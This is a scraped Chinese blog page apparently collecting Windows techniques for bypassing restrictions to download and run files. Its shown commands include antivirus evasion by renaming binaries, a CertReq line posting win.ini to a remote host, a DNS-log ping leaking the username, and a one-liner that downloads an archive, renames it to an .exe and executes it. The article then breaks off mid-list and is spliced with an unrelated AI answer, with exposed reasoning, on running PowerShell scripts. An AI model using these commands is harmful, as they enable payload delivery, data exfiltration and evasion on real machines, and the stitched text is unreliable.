bypass命令执行-简单梳理多种方式文件下载_命令执行

本文总结了多种在Windows环境下绕过限制执行命令的方法,包括使用Pcalua、elevate.exe、diskshadow.exe等非标准模块,以及Bitsadmin、Certutil等常用工具。还探讨了通过加载DLL文件、利用各种编程语言如PowerShell、Perl执行远程命令,以及利用InfDefaultInstall.exe、Cmstp.exe等不同文件后缀格式进行命令执行。这些技巧在安全测试和Web安全领域有重要应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

参考资料

https://toutiao.io/posts/uh65arq/preview
https://www.freebuf.com/system/232074.html
https://lolbas-project.github.io/

小Tips

针对一些杀软,可以cp到别的文件夹,然后重命名,或添加一些签名,可能可以运行下载的指令

半路收集的

CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
finger kali@192.168.180.190 | more +8 >1.txt
    https://www.slashroot.in/finger-server-configuration-linux。

0、浏览器

start firefox http://xxxxxx/demo.rar
start chrome http://xxxxxx/demo.rar
start msedge http://xxxxxx/demo.rar

上面三种都会默认下载到C:\Users\username\Downloads 这个目录下, username 是当前用户名称

ping %USERNAME%.xxx.xx.dnslog.cn 可以获取到用户名 拼接即可

一条命令


start msedge http://xxxxx/123123123.rar && ping -n 10 127.0.0.1 >NUL && for /f %k in ('cmd /v:off /Q /c "for /f %i in (^'wmic logicaldisk get caption ^| findstr ":"^') do dir %i\ /b /s 2>nul | findstr "123123123.rar""') do set kk=%k && (set dd=%kk:123123123.rar=123456.exe%) && rename %k 123456.exe && ping -n 10 127.0.0.1 >NUL && cmd /c %dd%

除了cmd /c 以外可以直接跟命令执行的

1、Pcalua

Pcalua是Windows进程兼容性助理(Program Compatibility Assistant)的⼀个组件。

pcalua.exe 
<think>好的,用户想知道如何将PowerShell命令保存到文件并执行。我需要先回顾一下提供的引用内容,看看有没有相关的信息。 根据引用[1],PowerShell脚本的扩展名是.ps1,执行时可能需要使用绝对路径、相对路径或者脚本在可信的环境变量中。另外,引用[2]提到执行策略的问题,不同的策略可能会影响脚本的执行。比如默认情况下,执行策略可能限制运行脚本,用户可能需要更改策略,比如使用Set-ExecutionPolicy RemoteSigned。 首先,用户需要将命令保存为.ps1文件。可以用记事本或其他文本编辑器,比如VS Code。然后保存时确保扩展名正确。例如,保存为script.ps1。 接下来是执行脚本的问题。引用[1]中提到,执行时可能需要使用相对路径,比如.\script.ps1,或者绝对路径。不过,执行策略可能会阻止脚本运行,所以用户可能需要先设置执行策略。引用[2]中的执行策略范围,比如CurrentUser,可以用Set-ExecutionPolicy -Scope CurrentUser RemoteSigned来放宽限制。 另外,用户可能遇到的常见问题包括权限不足,或者脚本路径不正确。需要提醒用户检查这些方面。还有,执行时是否在正确的目录下,或者是否需要以管理员权限运行PowerShell。 总结步骤应该是:1. 创建脚本文件,保存为.ps1;2. 修改执行策略(如有必要);3. 执行脚本。同时需要给出具体例子,比如编写一个简单的脚本,保存并执行。可能还要提到如何传递参数或者处理错误。 还需要考虑安全性,引用[1]中提到PowerShell有更安全的机制,不会像批处理那样容易被覆盖命令,所以可以强调执行策略的重要性,确保用户不会无意中运行恶意脚本。 最后,生成相关问题,比如如何调试脚本、如何传递参数、如何设置执行策略的更多选项等。</think>以下是将PowerShell命令保存为脚本文件并执行的分步指南: ### 一、创建PowerShell脚本文件 1. **新建文本文件** 使用记事本、VS Code等工具创建新文件,扩展名必须为`.ps1` 示例文件:`MyScript.ps1` 2. **编写脚本内容** ```powershell Write-Host "当前时间: $(Get-Date)" Get-ChildItem -Path C:\ -Directory | Select-Object -First 3 ``` ### 二、设置执行策略 ```powershell # 查看当前执行策略 Get-ExecutionPolicy # 设置执行策略(需要管理员权限) Set-ExecutionPolicy -Scope CurrentUser RemoteSigned -Force ``` *说明:`RemoteSigned`策略允许执行本地创建的脚本,但阻止未签名的网络脚本[^2]* ### 三、执行脚本的三种方式 | 方式 | 命令 | 适用场景 | |------|------|----------| | 相对路径 | `.\MyScript.ps1` | 当前目录下执行 | | 绝对路径 | `D:\Scripts\MyScript.ps1` | 明确指定路径 | | 调用运算符 | `& "D:\My Script.ps1"` | 路径包含空格时 | ### 四、高级执行方式 1. **带参数执行** ```powershell # 脚本内容 param($name) Write-Host "Hello, $name!" # 执行命令 .\MyScript.ps1 -name "John" ``` 2. **后台执行** ```powershell Start-Process powershell -ArgumentList "-File D:\MyScript.ps1" ``` ### 五、安全建议 1. 始终验证脚本来源 2. 生产环境推荐使用代码签名证书 3. 临时执行未签名脚本可使用: ```powershell powershell -ExecutionPolicy Bypass -File .\MyScript.ps1 ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值